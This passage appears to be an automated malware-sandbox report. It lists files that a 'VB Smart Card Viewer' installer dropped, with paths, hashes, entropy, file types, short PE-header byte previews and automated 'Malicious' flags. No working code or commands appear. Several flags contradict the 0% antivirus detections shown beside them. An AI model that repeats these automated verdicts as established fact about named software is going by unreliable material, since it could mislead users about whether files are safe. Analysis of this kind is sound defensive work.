Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........'........#...$......'...............................................(.......(...@... .......................&.......&..?...0'......................@'..............................I#.......................&..............................text...............................`.P`.data...<...........................@.`..rdata..x...........................@.`@/4............#.......#.............@.0@.bss....p.....&.......................`..edata........&.......&.............@.0@.idata...?....&..@....&.............@.0..CRT....,.....'.......&.............@.0..tls......... '.......&.............@.0..rsrc........0'.......&.............@.0..reloc.......@'.......&.............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-B1JQ9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105784
Entropy (8bit):	6.258144336244945
Encrypted:	false
SSDEEP:	1536:2VpMEh4vFu4sry2jkEw0D2cXTY+sgmX18CGLganGc:2Vai3yjEw0DNX03gmqCOD3
MD5:	0C6452935851B7CDB3A365AECD2DD260
SHA1:	83EF3CD7F985ACC113A6DE364BDB376DBF8D2F48
SHA-256:	F8385D08BD44B213FF2A2C360FE01AE8A1EDA5311C7E1FC1A043C524E899A8ED
SHA-512:	5FF21A85EE28665C4E707C7044F122D1BAC8E408A06F8EA16E33A8C9201798D196FA65B24327F208C4FF415E24A5AD2414FE7A91D9C0B0D8CFF88299111F2E1D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........@......#...#.2...................P.....b......................................@... .................................................................@............................k......................<................................text...d0.......2..................`.P`.data...l....P.......6..............@.`..rdata..L....`.......D..............@.`@/4....... ......."...\..............@.0@.bss....P.............................`..edata...............~..............@.0@.idata..............................@.0..CRT....,...........................@.0..tls................................@.0..reloc..@...........................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-C6I3E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1007104
Entropy (8bit):	6.652666405660804
Encrypted:	false
SSDEEP:	24576:hEbJuxlv9Sawf3oEYsTXR7fxiGmUDZ/HJkAVJcJdKll6/QTjFZLFGPQRGnx54IC5:zlv9SlEJ8C/KjFnMMvvS4
MD5:	AE58662A16410481B477B78B8D47460B
SHA1:	FB8B1BA166913C18EB00F8CA53439D0F4EE54359
SHA-256:	A23D944BEA101C574875C13883088798CFDA712DE969DD14F529E870A0DE87DA
SHA-512:	93280D9AB366B3DFAE6E40E50984764FAB7BE6CA6BD2B5A24D1182D67F06F9CC50203CC3D01A4232593C0C1AD03DFAE56E119286D10B78D2E3D57B394BDA8778
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t.%S...........#.....J...Z...4..0........`....tl................................=......... ..........................;... .......`.......................p..Pp...........................P.......................$...............................text...$I.......J..................`.P`.data...H/...`...0...N..............@.`..rdata...............~..............@.`@.bss....P3............................`..edata...;.......<..................@.0@.idata....... ......................@.0..CRT....,....@......................@.0..tls.... ....P......................@.0..rsrc........`......................@.0..reloc..Pp...p...r..................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-DBI1S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	698382
Entropy (8bit):	6.476081490774289
Encrypted:	false
SSDEEP:	12288:Y8ncCX9jvWgnTMfFj/QhZmyF3yBRAotqlFRHEnWiGGLN:YscCNj3TGFTQhgyF3yBRAyqqV5
MD5:	7C4C4A4D5684E8AACDC6B118A601A7BB
SHA1:	64C8CC24339D73909916E303AB08A253DD49FE3F
SHA-256:	D20E213EF79F5F58CF6CA45812648E21612AF6B82F52EEEE044EA050AB32D75E
SHA-512:	DB34326A59C7E5E809DE1DA9C98D5464D753DD554E9C8DDDC32F164BFE9D637A5D5C6AE093905B8CA075B6801FD0D53E34E6400C7F9E1D553E33618A9BAADEEA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...$.......... ...........................................,.....}.....@... ......................@+..>....+.$.....+.h.....................+.l1..........................d-........................+.4............................text...............................`.P`.data...............................@.`..rdata.............................@.`@/4...........`.......B..............@.0@.bss....4. ..@........................`..edata...>...@+..@..................@.0@.idata..$.....+......^..............@.0..CRT....,.....+......n..............@.0..tls..........+......p..............@.0..rsrc...h.....+......r..............@.0..reloc..l1....+..2...v..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-DIG7J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	125637
Entropy (8bit):	6.2640431186303145
Encrypted:	false
SSDEEP:	3072:lRvT0WUWJXNEn9bufmWAHE9pQIAOBmuWR2:DT0WU6E9Kfms9p5guWc
MD5:	6231B452E676ADE27CA0CEB3A3CF874A
SHA1:	F8236DBF9FA3B2835BBB5A8D08DAB3A155F310D1
SHA-256:	9941EEE1CAFFFAD854AB2DFD49BF6E57B181EFEB4E2D731BA7A28F5AB27E91CF
SHA-512:	F5882A3CDED0A4E498519DE5679EA12A0EA275C220E318AF1762855A94BDAC8DC5413D1C5D1A55A7CC31CFEBCF4647DCF1F653195536CE1826A3002CF01AA12C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........,.....&#...$.d.........................n.........................`............@... .........................u.... ..x............................P....................................................... ...............................text...8b.......d..................`.P`.data...(............h..............@.0..rdata...".......$...j..............@.`@/4.......4.......6..................@.0@.bss..................................0..edata..u...........................@.0@.idata..x.... ......................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc.......P......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-FG4H6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129038
Entropy (8bit):	6.508174898498455
Encrypted:	false
SSDEEP:	3072:2n7B3zAWc/gG6IsRc+JdTCXw4hXAMpI3pr:2n7B3zAWc/SmXfAMK
MD5:	3D8C24A40935FB27FC494FC6147E6EA8
SHA1:	C26B6949C34AADB8271E124CE08F511BE5033A04
SHA-256:	F83401305ACDA249D2A81CD8496E08643686FF1327EE4A495A1F3ABD77C7C3E6
SHA-512:	2EC272A4E770FB0B748ED3F3ED9E9A6983B2AB9B88D0C57C63E2248A1EF2B8D8A528EFAAD488CA377DBD05748DFA87DF086DDFA6B0DAD58571C47732320DC958
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...$.f................................................................@... ...................... .......0..T....`.......................p..x...................................................X1...............................text...$d.......f..................`.P`.data...P............j..............@.P..rdata..PE.......F...l..............@.`@/4.......'.......(..................@.0@.bss..................................0..edata....... ......................@.0@.idata..T....0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..rsrc........`......................@.0..reloc..x....p......................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-G5H9G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5607950
Entropy (8bit):	6.633599482017416
Encrypted:	false
SSDEEP:	98304:8IS8iFbnejXFHVSh3z6+N5NeOYVxtAcPVBgkgrumYE1HpMTdy2/vlCyUIs:85hCFVSh3fN5NeOYVxLPVBcumzJMTdyx
MD5:	90593C11E9997DD4224CF278D5D66323
SHA1:	A89583C180A66FE2C8272F8CCD9876326CB29A1E
SHA-256:	82AA37DDE211EE28B366603CC9C74F0584ED46D57DF7C06447060BFCFF886A07
SHA-512:	93A8CDFD26B4684FBBCB6FF8487E77C4996BD48B58D38FB81FE7E243D1368342F2ED27A1219CB81A9CBED72FDD4061ACE091D95C326A4C3DFF84D59E9A45114A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........U........#...$..;...U..b$...........<..............................pz.......U...@... .......................x.......x..#....y.p.................... y.8E...........................gN.....................P.x..............................text...t.;.......;.................`.``.data...\.....<.......;.............@.`..rdata.......<.......<.............@.p@/4.......v....O..x....O.............@.0@.bss.....`$..0T.......................`..edata........x.......T.............@.0@.idata...#....x..$... T.............@.0..CRT....,.....x......DT.............@.0..tls..........y......FT.............@.0..rsrc...p.....y......HT.............@.0..reloc..8E... y..F...LT.............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-IUB5D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1065100
Entropy (8bit):	7.300961775371533
Encrypted:	false
SSDEEP:	24576:gsRe/8fBAUZLYnwPKO6lbbTCpGavkg3NyeuQ6l9fHOfD:gzKBAUZLYwiO6UpGaXBuQQ9uD
MD5:	B7DF9B43BF812DDAF60C99732C1AB273
SHA1:	4A90353C8B2845008483854642B711E917F9CEEF
SHA-256:	74024FE9B8A1E4F8B9B7561B336B2916A20784699CDEEF2948074F0E820C9BDE
SHA-512:	DB78A8AF90E8557BA37DF1B8C089B8C2E6D912CB08A7B633126541FA9A2E91A0DD90E275A83D323DB0E38BB464744225B0FD405A2C828170B5B7AC1333D6C6E7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........8..:......#...#.....4.................... f................................V>....@... ......................P.......`..............................................................0.......................$a...............................text...............................`.P`.data...T...........................@.0..rdata..............................@.`@/4.......Q.......R..................@.0@.bss.........@........................`..edata.......P......................@.0@.idata.......`......................@.0..CRT....,....p......................@.0..tls................................@.0..rsrc...............................@.0..reloc...............$..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-J7KQC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	125637
Entropy (8bit):	6.2640431186303145
Encrypted:	false
SSDEEP:	3072:lRvT0WUWJXNEn9bufmWAHE9pQIAOBmuWR2:DT0WU6E9Kfms9p5guWc
MD5:	6231B452E676ADE27CA0CEB3A3CF874A
SHA1:	F8236DBF9FA3B2835BBB5A8D08DAB3A155F310D1
SHA-256:	9941EEE1CAFFFAD854AB2DFD49BF6E57B181EFEB4E2D731BA7A28F5AB27E91CF
SHA-512:	F5882A3CDED0A4E498519DE5679EA12A0EA275C220E318AF1762855A94BDAC8DC5413D1C5D1A55A7CC31CFEBCF4647DCF1F653195536CE1826A3002CF01AA12C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........,.....&#...$.d.........................n.........................`............@... .........................u.... ..x............................P....................................................... ...............................text...8b.......d..................`.P`.data...(............h..............@.0..rdata...".......$...j..............@.`@/4.......4.......6..................@.0@.bss..................................0..edata..u...........................@.0@.idata..x.... ......................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc.......P......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-JTIBI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	555894
Entropy (8bit):	3.4167624637949925
Encrypted:	false
SSDEEP:	6144:TnOHRuNruVRJ/RbM4YkuYFSwqFux5T8hac1eQ3RcMLQa9gKutRJhuusoAu3FsWVI:2z8wqux5TEacQmRcMcpfLnFQ
MD5:	77A96C1C8E72D12BE4DFA5600A67E0F4
SHA1:	F1A94189F7DA47DB26E332024C255AFAA085A654
SHA-256:	E6A08981AB88E25B892DB826D75EBE4C3A9EC932704F722B3E32E5D9C8CD359C
SHA-512:	267951B1CF2C745DA69265EEF7E921FF4A9F07C49000EB30D3C1793634C6AB61AB3A897E418A56C77C3F8F735AA2844FC6BF564DC2D88C9C0835A37A318AD52B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........v..$......#...#.:...r...............P.....k......................................@... .................................t............................................................Z.........................\|............................text....8.......:..................`.P`.data...D....P.......>..............@.0..rdata..$....`.......@..............@.`@/4......L....`.......@..............@.0@.bss.........p........................0..edata...............L..............@.0@.idata..t............N..............@.0..CRT....,............R..............@.0..tls.................T..............@.0..reloc........... ...V..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-KGK8A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	68552
Entropy (8bit):	6.1042544770100395
Encrypted:	false
SSDEEP:	768:Jd8ALXCfP6bO/XfLCwiWBot9ZOGLuNTizPm3YRiFVinPHF:X8fq+X9OjZ2APm3YeinPl
MD5:	F06B0761D27B9E69A8F1220846FF12AF
SHA1:	E3A2F4F12A5291EE8DDC7A185DB2699BFFADFE1A
SHA-256:	E85AECC40854203B4A2F4A0249F875673E881119181E3DF2968491E31AD372A4
SHA-512:	5821EA0084524569E07BB18AA2999E3193C97AA52DA6932A7971A61DD03D0F08CA9A2D4F98EB96A603B99F65171F6D495D3E8F2BBB2FC90469C741EF11B514E9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........V......#...$...........................d................................Y_....@... ..............................0..t....`..P....................p..............................`........................1..H............................text..............................`.P`.data...L...........................@.0..rdata..............................@.0@/4......,3.......4..................@.0@.bss..................................0..edata..............................@.0@.idata..t....0......................@.0..CRT....0....@......................@.0..tls.........P......................@.0..rsrc...P....`......................@.0..reloc.......p......................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-NKCIS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	720373
Entropy (8bit):	6.507181359300328
Encrypted:	false
SSDEEP:	12288:Vhu7eEcdCP8trP837szHUA6JCzS9Ntc3l3ER6orNjUR6FDExyFg:nu7eEYCP8trP837szHUA60SLtcV3E9fE
MD5:	BBC68F2D9923F1E10C37703479C13301
SHA1:	C017AF29745A24F7F74A535407C680A90B1AE5EC
SHA-256:	F62D22F6611EED484B8363209949370E93D07DB172556E8AB853470D691F202A
SHA-512:	B6F534CD0BB6A5DC4DAEB21BF9BC219A7200AA25CBDF87F183571744EE24B4D2AE74911E7996B646934E99BF263C7459BAF8937B1E179441995D59B8B7D96189
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................x..........x.............@..............................................@...............................%..................................................................................................................CODE.....w.......x.................. ..`DATA.................\|..............@...BSS.....l................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................^..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-OBNST.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	442
Entropy (8bit):	3.8280681998470794
Encrypted:	false
SSDEEP:	12:Q+gZPiv77qlXS8lvlRFo1MonAUNycdlUlaT9SaG:Q+gZPo7GU0vlRq1pnAUNnd+gTAaG
MD5:	09204E71E9F3B624E909FB20DEFE6EF5
SHA1:	2374900EBB8D9BB7127217DAE828A949B8E7938B
SHA-256:	D0755838EFEF3A423FFF51C91B2AEC497EB6C1A2A845534D6918C433E1F95267
SHA-512:	7B6FE24B112EED282D5795F0D2D122CC71539823609F1F3A7A5B3CAFEC8C86F00B310454B0CB607F881DBA99E7F2E55DD6EEDC31A3CC3D1F2B10FE43A923DE8F
Malicious:	false
Preview:	..[.L.A.N.G.U.A.G.E.].....n.a.m.e.1.=.E.n.g.l.i.s.h.....n.a.m.e.2.=.E.s.p.a...o.l.....n.a.m.e.3.=.D.e.u.t.s.c.h.....n.a.m.e.4.=.F.r.a.n...a.i.s.....n.a.m.e.5.=.I.t.a.l.i.a.n.o.....n.a.m.e.6.=..e,g......n.a.m.e.7.=.M.a.g.y.a.r.....n.a.m.e.8.=.T...r.k.....n.a.m.e.9.=.'.D.9.1.(.J.).....n.a.m.e.1.0.=.R.o.m...n.......n.a.m.e.1.1.=.A~.-N.e....f.i.l.e.=.e.n.g.l.i.s.h...i.n.i.....[.P.A.T.H.].....n.a.m.e.=.D.:.\.....[.T.I.M.E.S.].....t.i.m.e.=.0.

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-OHGO7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	data
Category:	dropped
Size (bytes):	3047424
Entropy (8bit):	6.876980432397359
Encrypted:	false
SSDEEP:	49152:/bxuBXjA7pOxwz1HCBCvWV3BE1G89lHdXCkdC7EVUgKcAWg5t:DxeYka7WVBEk89lHdXCkdQEdA
MD5:	7BF352E43E5DDF72DCC1E5FE8C4061AC
SHA1:	937E3E8DCD14ED6011F66A18D2FEBA67FB5AB505
SHA-256:	F9C5C91DE1DC52CED42C2FCAB95F9ACF560ECD56F392975BF1668A441CCB98E9
SHA-512:	01EE53E5E37BC4E8FFD7BED6300955174E0CD220F75379657CC4DBD1B54908E865D0468212B9B6A0B8834138E96EAFF00278C5955A492BC9CE6608E3E4C11BDA
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y..>=.um=.um=.umR.~m<.um..{m).umR..mw.um=.tm6.um_.fm(.um..~m<.um..sm<.umRich=.um................PE..L....f.e.............................A............@..................................................................................0 ..i..............................................................................<............................text...:...........................`....rdata..\".......0..................@..@.data...XT.......@..................@....rsrc....p...0 ..p.... .............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-PP7VD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	127192
Entropy (8bit):	6.479927027421408
Encrypted:	false
SSDEEP:	1536:/fMTf09hjtHy4xaIqGpnuJY8KYA/hKjUR+YABqKBrnToIfqIOoIOGESvrTEgTWjx:XMA3Fa0sYDY6hKgRvwqOTBf4uGE+rYgE
MD5:	8B2A6E8419A8A4E7D3FD023D97455FB9
SHA1:	2547A1F94FB4F83B7C133A3E285EE11FAA155E84
SHA-256:	7087CDD1ACDFF6CD1B8D821388F430AF3888314B05A5821BB53E67034362F670
SHA-512:	44438F6DD4BECABC2CB3053E2C42877CBDB0F309FE272F67A94AD530CAF1C5E5D49BC394F7D21C4226A4F0EB6D8661C5C7113508EA2F446E0DBEA0D59554D4A4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........=......#...#.>...................P.....c.........................`......;.....@... .............................. ...............................P......................................................0!...............................text...d=.......>..................`.P`.data...L....P.......B..............@.0..rdata.. S...`...T...D..............@.`@/4.......2.......4..................@.0@.bss....P.............................`..edata..............................@.0@.idata....... ......................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc.......P......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-SBH8F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	176200
Entropy (8bit):	6.647007817777345
Encrypted:	false
SSDEEP:	1536:9teve4OMTqM/iKAo+/zO9RhR9aPTxRm1TxStoBtwIbaU+yUsXxTTLRazIxSp/FjU:ze24OM+M/bAWK9Rm1NXwIl+/I9RtqIn
MD5:	6896DC57D056879F929206A0A7692A34
SHA1:	D2F709CDE017C42916172E9178A17EB003917189
SHA-256:	8A7D2DA7685CEDB267BFA7F0AD3218AFA28F4ED2F1029EE920D66EB398F3476D
SHA-512:	CD1A981D5281E8B2E6A8C27A57CDB65ED1498DE21D2B7A62EDC945FB380DEA258F47A9EC9E53BD43D603297635EDFCA95EBCB2A962812CD53C310831242384B8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........8......#...#.b........................tm......................... ......z.....@... .........................E....................................................................w.......................................................text....a.......b..................`.P`.data...P............f..............@.P..rdata...............h..............@.`@/4...............0...Z..............@.0@.bss..................................0..edata..E...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls................................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\is-SGE0N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	40974
Entropy (8bit):	6.485702128133584
Encrypted:	false
SSDEEP:	768:kB8JMzjwsTYQgUvXtrs7GtUplYj7SG7MLXm:kmMwsTYwvXhZP77SW
MD5:	F47E78AD658B2767461EA926060BF3DD
SHA1:	9BA8A1909864157FD12DDEE8B94536CEA04D8BD6
SHA-256:	602C2B9F796DA7BA7BF877BF624AC790724800074D0E12FFA6861E29C1A38144
SHA-512:	216FA5AA6027C2896EA5C499638DB7298DFE311D04E1ABAC302D6CE7F8D3ED4B9F4761FE2F4951F6F89716CA8104FA4CE3DFECCDBCA77ED10638328D0F13546B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...!.F...................`.....p......................... ......I5........ .................................................................@...........................L........................................................text....E.......F..................`.P`.data...0....`.......J..............@.0..rdata..$&...p...(...L..............@.`@/4......<............t..............@.0@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....,...........................@.0..tls................................@.0..reloc..@...........................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VB Smart Card Viewer\languages\is-8L6JD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3188
Entropy (8bit):	3.820146923376414
Encrypted:	false
SSDEEP:	96:r9BirQRr9DW1t0Y+6HcRMRBm8K+0vNZry19:Jk+9Ot0EcF8K+d19
MD5:	0F16041A3EFE467EE8440060A5ED7F8A
SHA1:	6FB9C518E8F468275B4C821DB8D1F64DEC787687
SHA-256:	C84D2F1177AAD5EA224C68F34DA0CD0C8E7308BA1CC93494B3376F52051FAC93
SHA-512:	C362D7C35425DDA7F98CDD597F0CC1ED0510194022E5AB9AB8EC0EDCCDDD5D9214563C7D038A2A3A5FD103093074E6D3190CA374D838AA3DD4E78F75C9D2BDE3
Malicious:	false
Preview:	..[.A.P.P.L.I.C.A.T.I.O.N.].....n.a.m.e.=.F.r.e.e. .M.P.3. .C.u.t.t.e.r. .J.o.i.n.e.r.....v.e.r.s.i.o.n.=.V.2.0.2.3...5.....u.r.l.=.h.t.t.p.s.:././.w.w.w...d.v.d.v.i.d.e.o.m.e.d.i.a...c.o.m./.h.o.w.-.t.o.-.c.u.t.-.m.p.3...h.t.m.l.....[.J.I.E.M.I.A.N.].....y.y.=.D.i.l. .S.e...i.m.i.....m.p.3.j.q.=.M.P.3. .K.e.s.i.c.i.....m.p.3.h.b.=.M.P.3. .B.i.r.l.e._.t.i.r.i.c.i.....k.s.j.q.=.B.a._.l.a.n.g.1... .N.o.k.t.a.s.1.:.:.....k.s.j.q.1.=.K.e.s.i.m. .B.a._.l.a.n.g.1.c.1.....j.s.j.q.=.B.i.t.i._. .N.o.k.t.a.s.1.:.....j.q.s.j.=.K.l.i.p. .S...r.e.s.i.:.....y.w.j.=.K.a.y.n.a.k.....k.s.s.j.=.S...r.e. .B.a._.1.....j.s.s.j.=.S...r.e. .S.o.n.u.....s.c.g.s.=...1.k.t.1. .B.i...i.m.i.....o.u.t.p.u.t.=...1.k.t.1. .D.o.s.y.a.s.1.:.....n.y.k.y.z.j.s.r.=.D.o...r.u.d.a.n. .d...z.e.n.l.e.m.e. .d.e.n.e.t.i.m.i. .g.i.r.i._.i. .y.a.p.1.l.a.c.a.k. .z.a.m.a.n. .b.i...i.m.i. .0.0.:.0.0.:.0.0...0.0.0.(.s.a.:.d.a.:.s.n...s.a.l.).....z.t.=.D.u.r.u.m.....z.b.=.H.a.z.1.r.....s.y.m.t.w.j.=.T...m. .S.e.s. .D.o.s.y.a.l.a.r.1.

C:\Users\user\AppData\Local\VB Smart Card Viewer\languages\turkish.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3188
Entropy (8bit):	3.820146923376414
Encrypted:	false
SSDEEP:	96:r9BirQRr9DW1t0Y+6HcRMRBm8K+0vNZry19:Jk+9Ot0EcF8K+d19
MD5:	0F16041A3EFE467EE8440060A5ED7F8A
SHA1:	6FB9C518E8F468275B4C821DB8D1F64DEC787687
SHA-256:	C84D2F1177AAD5EA224C68F34DA0CD0C8E7308BA1CC93494B3376F52051FAC93
SHA-512:	C362D7C35425DDA7F98CDD597F0CC1ED0510194022E5AB9AB8EC0EDCCDDD5D9214563C7D038A2A3A5FD103093074E6D3190CA374D838AA3DD4E78F75C9D2BDE3
Malicious:	false
Preview:	..[.A.P.P.L.I.C.A.T.I.O.N.].....n.a.m.e.=.F.r.e.e. .M.P.3. .C.u.t.t.e.r. .J.o.i.n.e.r.....v.e.r.s.i.o.n.=.V.2.0.2.3...5.....u.r.l.=.h.t.t.p.s.:././.w.w.w...d.v.d.v.i.d.e.o.m.e.d.i.a...c.o.m./.h.o.w.-.t.o.-.c.u.t.-.m.p.3...h.t.m.l.....[.J.I.E.M.I.A.N.].....y.y.=.D.i.l. .S.e...i.m.i.....m.p.3.j.q.=.M.P.3. .K.e.s.i.c.i.....m.p.3.h.b.=.M.P.3. .B.i.r.l.e._.t.i.r.i.c.i.....k.s.j.q.=.B.a._.l.a.n.g.1... .N.o.k.t.a.s.1.:.:.....k.s.j.q.1.=.K.e.s.i.m. .B.a._.l.a.n.g.1.c.1.....j.s.j.q.=.B.i.t.i._. .N.o.k.t.a.s.1.:.....j.q.s.j.=.K.l.i.p. .S...r.e.s.i.:.....y.w.j.=.K.a.y.n.a.k.....k.s.s.j.=.S...r.e. .B.a._.1.....j.s.s.j.=.S...r.e. .S.o.n.u.....s.c.g.s.=...1.k.t.1. .B.i...i.m.i.....o.u.t.p.u.t.=...1.k.t.1. .D.o.s.y.a.s.1.:.....n.y.k.y.z.j.s.r.=.D.o...r.u.d.a.n. .d...z.e.n.l.e.m.e. .d.e.n.e.t.i.m.i. .g.i.r.i._.i. .y.a.p.1.l.a.c.a.k. .z.a.m.a.n. .b.i...i.m.i. .0.0.:.0.0.:.0.0...0.0.0.(.s.a.:.d.a.:.s.n...s.a.l.).....z.t.=.D.u.r.u.m.....z.b.=.H.a.z.1.r.....s.y.m.t.w.j.=.T...m. .S.e.s. .D.o.s.y.a.l.a.r.1.

C:\Users\user\AppData\Local\VB Smart Card Viewer\libbz2-1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105784
Entropy (8bit):	6.258144336244945
Encrypted:	false
SSDEEP:	1536:2VpMEh4vFu4sry2jkEw0D2cXTY+sgmX18CGLganGc:2Vai3yjEw0DNX03gmqCOD3
MD5:	0C6452935851B7CDB3A365AECD2DD260
SHA1:	83EF3CD7F985ACC113A6DE364BDB376DBF8D2F48
SHA-256:	F8385D08BD44B213FF2A2C360FE01AE8A1EDA5311C7E1FC1A043C524E899A8ED
